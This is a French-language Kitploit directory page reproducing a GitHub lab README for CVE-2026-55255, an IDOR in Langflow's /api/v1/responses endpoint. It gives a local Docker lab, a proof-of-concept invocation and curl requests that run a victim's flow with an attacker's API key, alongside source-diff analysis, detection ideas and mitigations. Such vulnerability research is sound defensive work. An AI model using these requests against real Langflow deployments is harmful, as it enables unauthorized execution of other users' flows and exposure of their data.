Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-55255-Lab | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-55255-lab
Analyse des VulnérabilitésExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-55255-lab

CVE-2026-55255-Lab

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-55255 - Langflow IDOR in /api/v1/responses

Résumé exécutif

Ce dépôt contient un laboratoire Docker local pour reproduire et valider CVE-2026-55255, une vulnérabilité de type Insecure Direct Object Reference (IDOR) affectant l'API Responses compatible OpenAI de Langflow.

Langflow est une plateforme open-source pour construire et déployer des agents et des workflows propulsés par l'IA. Le comportement vulnérable affecte le point de terminaison /api/v1/responses, où un attaquant authentifié peut fournir l'UUID de flux d'un autre utilisateur comme valeur model et amener Langflow à exécuter ce flux appartenant à la victime.

Ce laboratoire compare deux versions de Langflow :

ServiceLangflow versionObjectifURL
vuln1.9.0Cible de comparaison vulnérablehttp://localhost:7860
patched1.9.1Cible de comparaison corrigéehttp://localhost:7861

Le chemin de validation HTTP démontré dans ce laboratoire local est :```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

root@kitploit:~
Dans la cible vulnérable, la clé API appartenant à l'attaquant peut exécuter le flux appartenant à la victime et la réponse contient le marqueur réservé à la victime :```text
VICTIM_ONLY_CONTEXT_55255_VULN

Dans la cible corrigée, la même requête inter-utilisateurs ne renvoie pas le marqueur de la victime et retourne un corps d'erreur de style OpenAI :```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

root@kitploit:~
Ce laboratoire valide le comportement HTTP vulnérable versus patché en utilisant Langflow 1.9.0 et Langflow 1.9.1.

Le laboratoire est volontairement limité aux services Docker locaux. Il ne cible pas de systèmes externes et n'inclut pas de vol d'identifiants, d'extraction de bases de données, de charges utiles destructrices, de rappels externes, de logiciels malveillants, de persistance ou d'activités de post-exploitation.

## Faits vérifiés

| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 affecte le point de terminaison `/api/v1/responses` de Langflow. | L'avis GitHub GHSA-qrpv-q767-xqq2 décrit un IDOR dans `/api/v1/responses`. | Consultez la section Références et exécutez le PoC contre les deux cibles locales. |
| L'avis GitHub liste les versions affectées comme `< 1.9.1` et la version corrigée comme `1.9.1`. | Avis GitHub GHSA-qrpv-q767-xqq2. | Comparez les versions cibles vulnérable et patchée dans `docker-compose.yml`. |
| Certaines sources aval de vulnérabilités ne s'accordent pas sur la version corrigée exacte. | GitHub/GitLab listent `1.9.1` comme corrigé ; certaines pages aval d'intelligence mentionnent `1.9.2` ou contiennent un libellé mixte. | Consultez la section Références et fiez-vous à la validation du laboratoire pour le comportement testé de 1.9.1. |
| Ce laboratoire utilise Langflow 1.9.0 comme cible de comparaison vulnérable. | Le service `vuln` utilise `langflowai/langflow:1.9.0`. | Inspectez `docker-compose.yml` et exécutez `docker compose ps`. |
| Ce laboratoire utilise Langflow 1.9.1 comme cible de comparaison patchée. | Le service `patched` utilise `langflowai/langflow:1.9.1`. | Inspectez `docker-compose.yml` et exécutez `docker compose ps`. |
| L'API Responses de Langflow utilise `POST /api/v1/responses`. | La documentation Langflow décrit le point de terminaison de l'API Responses compatible OpenAI. | Exécutez le PoC ou une requête curl manuelle vers `/api/v1/responses`. |
| L'API Responses de Langflow accepte un ID de flux comme valeur `model`. | La documentation Langflow indique que la valeur `model` est remplacée par un `flow_id`. | Inspectez le corps de la requête du PoC. |
| Les requêtes API Langflow nécessitent une clé API via `x-api-key`. | La documentation de l'API Langflow décrit l'authentification par clé API avec l'en-tête `x-api-key`. | Inspectez les en-têtes de la requête du PoC. |
| Le PoC est basé sur des requêtes. | `poc/validate_idor.py` envoie des requêtes HTTP et n'appelle pas Docker, Docker Compose, de commandes shell ni d'API de conteneurs. | Inspectez `poc/validate_idor.py`. |
| La cible vulnérable exécute un flux appartenant à la victime avec une clé API appartenant à l'attaquant. | La réponse vulnérable renvoie `VICTIM_ONLY_CONTEXT_55255_VULN`. | Exécutez la commande PoC vulnérable avec l'ID de flux de la victime et la clé API de l'attaquant. |
| La cible patchée bloque le même chemin d'exécution inter-utilisateurs. | La réponse patchée renvoie `error.code = flow_not_found` et ne renvoie pas le marqueur de la victime. | Exécutez la commande PoC patchée avec l'ID de flux de la victime et la clé API de l'attaquant. |

## Hypothèses et inconnues

Ce laboratoire utilise Langflow 1.9.0 comme cible de comparaison vulnérable parce que l'avis GitHub GHSA-qrpv-q767-xqq2 identifie les versions antérieures à 1.9.1 comme affectées, et que les tests locaux ont confirmé le comportement vulnérable dans 1.9.0.

Ce laboratoire utilise Langflow 1.9.1 comme cible de comparaison patchée parce que l'avis GitHub GHSA-qrpv-q767-xqq2 liste 1.9.1 comme version corrigée, et que les tests locaux ont confirmé que 1.9.1 bloque le chemin d'exécution inter-utilisateurs testé de `/api/v1/responses` avec `flow_not_found`.

Il existe un écart de version entre les sources. Les avis GitHub et GitLab listent les versions antérieures à 1.9.1 comme affectées et 1.9.1 comme corrigée. Certaines pages aval d'intelligence sur les vulnérabilités mentionnent 1.9.2 ou contiennent un libellé mixte autour de la version corrigée. Ce référentiel documente cet écart et valide directement le comportement testé :```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

Ce laboratoire suppose que l'attaquant connaît déjà l'UUID d'un flux victime. La PoC n'effectue pas de force brute sur les identifiants de flux, n'énumère pas les flux et ne tente pas de découvrir les identifiants de flux victimes.

Ce laboratoire se concentre sur le comportement HTTP observable de :```text POST /api/v1/responses

root@kitploit:~
avec cette forme de requête:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

Le lab démontre l'exécution non autorisée de flows cross-user dans la cible vulnérable et le comportement bloqué dans la cible corrigée.

Le lab ne démontre pas :

  • le brute-force des UUID de flows,
  • l'énumération des ID de flows,
  • le vol d'identifiants,
  • le dump de bases de données,
  • l'utilisation de vraies clés API de fournisseurs LLM,
  • l'accès à de vraies données de production,
  • les callbacks externes,
  • l'exécution de commandes à distance,
  • les malwares,
  • la persistance,
  • ou des attaques contre des systèmes hors lab.

Résumé de la cause racine

La cause racine de la CVE-2026-55255 est une lacune d'autorisation dans la logique de résolution de flows de Langflow.

Le endpoint /api/v1/responses accepte un UUID de flow via le champ model. Dans les versions vulnérables, le chemin de recherche d'UUID dans get_flow_by_id_or_endpoint_name() pouvait charger un objet Flow directement par clé primaire sans vérifier que le Flow.user_id résolu correspondait à l'utilisateur authentifié par clé API.

Le comportement vulnérable peut être résumé comme suit :```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

root@kitploit:~
Le comportement corrigé peut être résumé comme suit :```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

Le problème de sécurité n'est pas que l'attaquant puisse appeler /api/v1/responses avec ses propres flows. Ce comportement est attendu. Le problème est qu'un utilisateur authentifié à faibles privilèges peut amener le point de terminaison à exécuter un flow appartenant à un autre utilisateur lorsque l'UUID du flow de la victime est fourni.

La leçon de sécurité est :```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

root@kitploit:~
## Analyse du code source

Le problème au niveau du code source a été confirmé en comparant Langflow `v1.9.0` et `v1.9.1`.

Les tags source examinés utilisés pour la revue étaient :

| Version | Commit Git |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

L'helper pertinent est :```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

Dans la branche UUID vulnérable, le flux était chargé par ID :```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

root@kitploit:~
Le contrôle manquant lié à la sécurité était:```python
flow.user_id == authenticated_user.id

Sans cette vérification du propriétaire, un UUID de flux valide suffisait pour résoudre un objet Flow même s'il appartenait à un autre utilisateur.

La version corrigée ajoute la normalisation de user_id et applique le cadrage par propriétaire sur le chemin UUID :```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
Le comportement important est:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

C'est pourquoi la réponse du lab patché renvoie :```json {"error":{"code":"flow_not_found"}}

root@kitploit:~
au lieu d'exécuter le flux appartenant à la victime.

Pour ce laboratoire, le comportement vulnérable principal est le chemin d'exécution `/api/v1/responses` qui atteint `get_flow_by_id_or_endpoint_name()` et résout un UUID de flux appartenant à la victime sans appliquer la vérification de propriété.

Le correctif durcit également les routes d'exécution de flux associées. Dans `endpoints.py`, les routes qui utilisaient auparavant le helper brut comme dépendance FastAPI ont été modifiées, passant de :```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

vers des wrappers authentifiés tels que :```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

root@kitploit:~
Ces changements de wrapper sont un durcissement connexe pour d'autres routes d'exécution de flux telles que `/api/v1/run*`. Ils garantissent que l'assistant reçoit l'ID utilisateur authentifié au lieu de se reposer sur un simple paramètre de requête. Le correctif principal démontré par ce laboratoire reste le contrôle de propriété côté résolveur dans `get_flow_by_id_or_endpoint_name()`.

Le correctif au niveau de la source comporte donc deux parties liées :```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

Résumé du correctif source

Langflow 1.9.1 durcit le chemin vulnérable de résolution de flux en traitant les recherches inter-utilisateurs comme introuvables et en garantissant que les routes d'exécution de flux associées transmettent le contexte d'utilisateur authentifié au résolveur.

La logique corrigée principale est :```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
Le correctif ajoute également des dépendances de wrapper authentifiées pour les routes qui doivent résoudre des flux :```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

Le changement pertinent pour la sécurité est :```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

root@kitploit:~
Le correctif réduit également la divulgation d'informations. L'accès entre utilisateurs est traité comme introuvable plutôt que de renvoyer une réponse d'autorisation distincte qui pourrait révéler si le flux d'un autre utilisateur existe.

Ce laboratoire maintient la revue de code source et la validation à l'exécution séparées :```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

Architecture du laboratoire

Le laboratoire exécute deux cibles Langflow isolées via Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

root@kitploit:~
Les fichiers `state/` sont générés par les services seed au démarrage du laboratoire. Le répertoire `src/` contient les arborescences source Langflow extraites utilisées pour la vérification des différences de code source.

Les deux services Langflow utilisent des versions d'application distinctes et des bases de données SQLite distinctes dans leurs conteneurs :

| Service      | Composant | Version / Rôle                         |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | application cible vulnérable |
| patched      | Langflow  | application de comparaison corrigée |
| seed-vuln    | Python    | crée des utilisateurs locaux, des clés API et des flux |
| seed-patched | Python    | crée des utilisateurs locaux, des clés API et des flux |

Services exposés par défaut :```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861
CibleVersion de LangflowComportement attendu
http://localhost:78601.9.0la clé API de l'attaquant peut exécuter le flux appartenant à la victime
http://localhost:78611.9.1l'exécution du flux de la victime par un autre utilisateur est bloquée

Les services d'amorçage s'exécutent automatiquement pendant :```bash docker compose up --build --wait

root@kitploit:~
Ils créent :```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

Les fichiers state/*.json générés par seed fournissent des valeurs de test locales jetables, telles que des clés API et des UUID de flux.

Le PoC ne lit pas state/*.json. L'utilisateur fournit l'URL cible, la clé API, l'ID de flux et le marqueur attendu facultatif via les arguments de la ligne de commande.

Le lab ne crée ni ne modifie la route vulnérable /api/v1/responses. Cette route est fournie par Langflow.

Prérequis

  • Docker Desktop ou Docker Engine
  • Docker Compose v2 avec prise en charge de --wait
  • Python 3
  • jq pour les commandes pratiques de ce README
  • Accès Internet lors du premier téléchargement de l'image Docker

Aucun paquet Python tiers n'est requis pour le PoC. Le PoC utilise uniquement les modules de la bibliothèque standard de Python.

Le conteneur seed installe le paquet Python requests en interne. Ce paquet est utilisé uniquement par les services seed lors de la configuration du lab, pas par le PoC.

Démarrage rapide

Démarrez le lab à partir d'un état propre :```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

root@kitploit:~
Vérifiez le statut du service :```bash
docker compose ps

Services sains attendus:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

root@kitploit:~
Cibles exposées attendues :```text
http://localhost:7860
http://localhost:7861

Vérifiez les fichiers d'état des seeds:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

root@kitploit:~
Fichiers attendus :```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

Exécutez une validation basée sur les requêtes contre la cible vulnérable :```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

root@kitploit:~
Exécutez une validation basée sur les requêtes contre la cible corrigée :```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

Utilisation du PoC

Le PoC accepte une URL cible, une clé API, un ID de flux et un marqueur attendu optionnel :```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

root@kitploit:~
Options requises :

| Option | Signification |
| ------ | ------- |
| `--url` | URL de base de Langflow |
| `--api-key` | Clé API utilisée dans l'en-tête `x-api-key` |
| `--flow-id` | UUID du flux utilisé comme valeur `model` |

Options facultatives :

| Option | Signification |
| ------ | ------- |
| `--expect-marker` | Marqueur attendu dans la réponse si le flux cible s'exécute |

Le PoC envoie cette requête HTTP :```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

Corps de la requête :```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
Le PoC est basé sur des requêtes. Il ne fait pas appel à Docker, Docker Compose, aux commandes shell, à WP-CLI, aux API de conteneurs, ni aux API seed de Langflow.

Dans ce laboratoire, `state/*.json` peut être utilisé pour copier les clés API locales jetables et les ID de flux dans la commande PoC. Le PoC lui-même ne dépend pas de ces fichiers. Les clés API dans `state/*.json` sont des clés de laboratoire locales jetables ; n'utilisez pas de véritables clés API de production dans ces commandes.

## Résultats attendus

### Cible vulnérable

Commande :```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

Signal de cible vulnérable attendu :```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

root@kitploit:~
Le signal vulnérable important est :```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

Cible patchée

Commande :```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

root@kitploit:~
Signal attendu de la cible patchée :```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

Le signal important corrigé est :```text attacker API key

  • victim flow UUID
  • no victim marker
  • error.code = flow_not_found
root@kitploit:~
### Exécution observée sans marqueur

Si `--expect-marker` est omis et que la cible renvoie une réponse Langflow complète, le PoC signale :```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

Cela signifie que le flux cible s'est exécuté, mais la PoC ne peut pas prouver par elle-même que l'ID de flux fourni appartient à un autre utilisateur. La propriété doit être confirmée via les données seed du laboratoire, la source de l'ID de flux ou d'autres preuves autorisées.

Comment fonctionne la validation

Le validateur envoie une requête HTTP POST à l'endpoint de l'API Responses de Langflow :```text /api/v1/responses

root@kitploit:~
La requête utilise la clé API fournie :```text
x-api-key: <attacker-api-key>

Le corps de la requête utilise l'UUID du flux fourni comme valeur model :```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
Comportement vulnérable attendu :```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

Comportement attendu après correctif :```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

root@kitploit:~
Dans ce laboratoire, Langflow 1.9.1 renvoie `HTTP 200` avec un objet d'erreur JSON de style OpenAI :```json
{"error":{"code":"flow_not_found"}}

C'est pourquoi le PoC vérifie le code d'erreur JSON au lieu de supposer que le statut de transport HTTP doit être 404.

Le PoC ne valide intentionnellement que la condition d'exécution du flux inter-utilisateurs. Il ne tente pas de découvrir des identifiants de flux, de forcer des UUID par force brute, d'énumérer des utilisateurs, d'extraire des secrets ou de déclencher des services externes.

Reproduction manuelle HTTP avec curl

Le seed de laboratoire écrit des valeurs locales jetables dans state/*.json. Ces commandes utilisent ces valeurs locales pour construire des requêtes curl. Les fichiers d'état sont des artefacts propres au laboratoire.```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
Résultat vulnérable attendu :```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

Sonde corrigée:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
Résultat attendu après correctif :```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

Impact

CVE-2026-55255 est sensible sur le plan de la sécurité dans les déploiements Langflow multi-utilisateurs ou multi-locataires, car un utilisateur authentifié peut être en mesure d'exécuter le flux d'un autre utilisateur si l'UUID du flux victime est connu.

L'impact potentiel dans le monde réel dépend de ce que fait le flux appartenant à la victime.

Les impacts possibles peuvent inclure :

  • l'exécution non autorisée du flux d'IA d'un autre utilisateur,
  • l'exposition des données traitées par le flux de la victime,
  • l'accès aux invites ou aux sorties de flux appartenant à la victime,
  • l'utilisation des intégrations ou des composants configurés appartenant à la victime,
  • la consommation de ressources de calcul ou d'API associées à la victime,
  • le contournement des limites d'autorisation entre utilisateurs ou entre locataires,
  • et la divulgation d'informations via la sortie du flux.

L'exploitabilité pratique dépend de la possibilité pour l'attaquant d'obtenir un UUID de flux victime valide. La devinette d'UUID de flux n'est pas l'objet de ce laboratoire, et le PoC ne procède pas à du brute-force sur les identifiants de flux.

Ce laboratoire ne démontre que la défaillance de la limite d'autorisation de manière sûre :```text attacker API key

  • victim flow UUID
  • victim-only marker returned
root@kitploit:~
Le laboratoire ne démontre pas un accès réel aux données, un accès réel aux secrets, un abus de clés de fournisseur LLM, des callbacks externes, ni de post-exploitation.

## Détection et surveillance

Les indicateurs potentiels incluent des requêtes authentifiées vers :```text
POST /api/v1/responses

Modèle de requête suspect :```text x-api-key belongs to user A model contains flow UUID owned by user B

root@kitploit:~
Idée de détection à signal élevé :```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

Journaux ou télémétrie de la couche application à examiner :

  • propriétaire de la clé API,
  • chemin de la requête,
  • valeur de model,
  • ID de flux résolu,
  • propriétaire du flux résolu,
  • code d'erreur de réponse,
  • réponses flow_not_found,
  • réponses réussies de /api/v1/responses,
  • tentatives d'exécution de flux inter-utilisateurs inhabituelles,
  • tentatives répétées sur de nombreux UUID de flux,
  • et utilisation inhabituellement élevée de l'API par un utilisateur à faibles privilèges.

Exemple d'artefact de validation vulnérable :```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

root@kitploit:~
Exemple d'artefact de validation corrigé :```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

Recommended monitoring actions:

  • Examinez les journaux API pour /api/v1/responses.
  • Corrélez le propriétaire de la clé API avec le propriétaire du flux demandé.
  • Déclenchez une alerte en cas d'utilisation d'UUID de flux inter-utilisateurs.
  • Examinez les pics de flow_not_found concernant l'API Responses.
  • Examinez toute utilisation API inhabituellement élevée par des utilisateurs récemment créés ou à faibles privilèges.
  • Examinez les canaux publics ou partagés où les UUID de flux peuvent être exposés.
  • Faites pivoter les clés API concernées en cas de suspicion d'utilisation abusive.
  • Examinez les flux appartenant à la victime pour détecter des connecteurs, outils ou sources de données sensibles.

Notes d'atténuation et de correctif

Mettez à niveau Langflow vers une version corrigée.

L'avis GitHub GHSA-qrpv-q767-xqq2 indique que Langflow 1.9.1 est corrigé pour CVE-2026-55255. Certaines sources de renseignement sur les vulnérabilités en aval mentionnent 1.9.2 ou contiennent des formulations ambiguës concernant la version corrigée. Ce laboratoire valide que Langflow 1.9.1 bloque le chemin d'exécution inter-utilisateurs testé de /api/v1/responses avec flow_not_found. Pour les environnements de production, mettez à jour vers la dernière version disponible de Langflow plutôt que de vous arrêter à la version de comparaison du laboratoire.

Étapes d'atténuation recommandées :

  • Mettez à niveau Langflow vers une version corrigée ou la dernière version disponible.
  • Confirmez que la version installée n'est pas dans la plage affectée.
  • Limitez l'exposition de Langflow aux réseaux de confiance lorsque c'est possible.
  • Exigez une authentification pour les routes API.
  • Examinez et faites pivoter les clés API en cas de suspicion d'exploitation.
  • Examinez la propriété des flux et la configuration de partage.
  • Examinez les journaux pour les requêtes /api/v1/responses inter-utilisateurs.
  • Évitez d'exposer les UUID de flux inutilement.
  • Traitez les blocages par proxy inverse ou WAF comme des contrôles temporaires, et non comme des remplacements de la mise à niveau.
  • Dans les environnements multi-locataires, testez que les utilisateurs de clés API ne peuvent pas exécuter des flux qu'ils ne possèdent pas.

Leçons d'ingénierie de sécurité :

  • Ne vous fiez pas au secret des UUID d'objets comme contrôle d'autorisation.
  • Limitez la recherche d'objets au principal authentifié.
  • Appliquez des contrôles de propriété avant d'utiliser les objets résolus.
  • Évitez d'utiliser directement des assistants de résolution génériques comme dépendances de route lorsqu'ils nécessitent un contexte authentifié.
  • Traitez les réponses introuvables avec précaution pour éviter la divulgation de l'existence d'objets.
  • Ajoutez des tests de régression pour l'accès inter-utilisateurs aux objets.

Limites de sécurité

Ce laboratoire est réservé à la recherche locale en sécurité et à la démonstration contrôlée.

N'exécutez pas le PoC ni de requêtes curl manuelles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

N'utilisez pas de véritables identifiants de production, données clients, données de paiement, clés API, clés de fournisseur LLM, identifiants de base de données ou secrets de production dans ce laboratoire.

Le périmètre prévu est limité aux services Docker locaux tels que :```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

root@kitploit:~
The PoC est intentionnellement basé sur des requêtes. Il n'appelle pas Docker, Docker Compose, des commandes shell, WP-CLI, ni les API de conteneurs.

Le lab ne comprend pas de payloads pour :

* le brute force des UUID de flux,
* l'énumération des utilisateurs,
* le vol d'identifiants,
* le dump de bases de données,
* l'abus de clés de fournisseurs LLM,
* l'exécution arbitraire de commandes,
* les malwares,
* la persistance,
* le mouvement latéral,
* l'accès aux données clients,
* ou les callbacks externes.

L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found

Références

  • Enregistrement CVE : CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

  • Avis GitHub : GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

  • Avis GitLab : CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

  • Pull request Langflow : fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

  • Documentation de l'API OpenAI Responses de Langflow https://docs.langflow.org/api-openai-responses

  • Documentation des clés API et de l'authentification de Langflow https://docs.langflow.org/api-keys-and-authentication

  • Exemples de référence de l'API Langflow https://docs.langflow.org/api-reference-api-examples

  • Dépôt GitHub de Langflow https://github.com/langflow-ai/langflow

  • Image Docker de Langflow https://hub.docker.com/r/langflowai/langflow

  • Note de plugin Tenable pour GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659

  • Intelligence de vulnérabilité Mondoo : CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255

Télécharger l’outil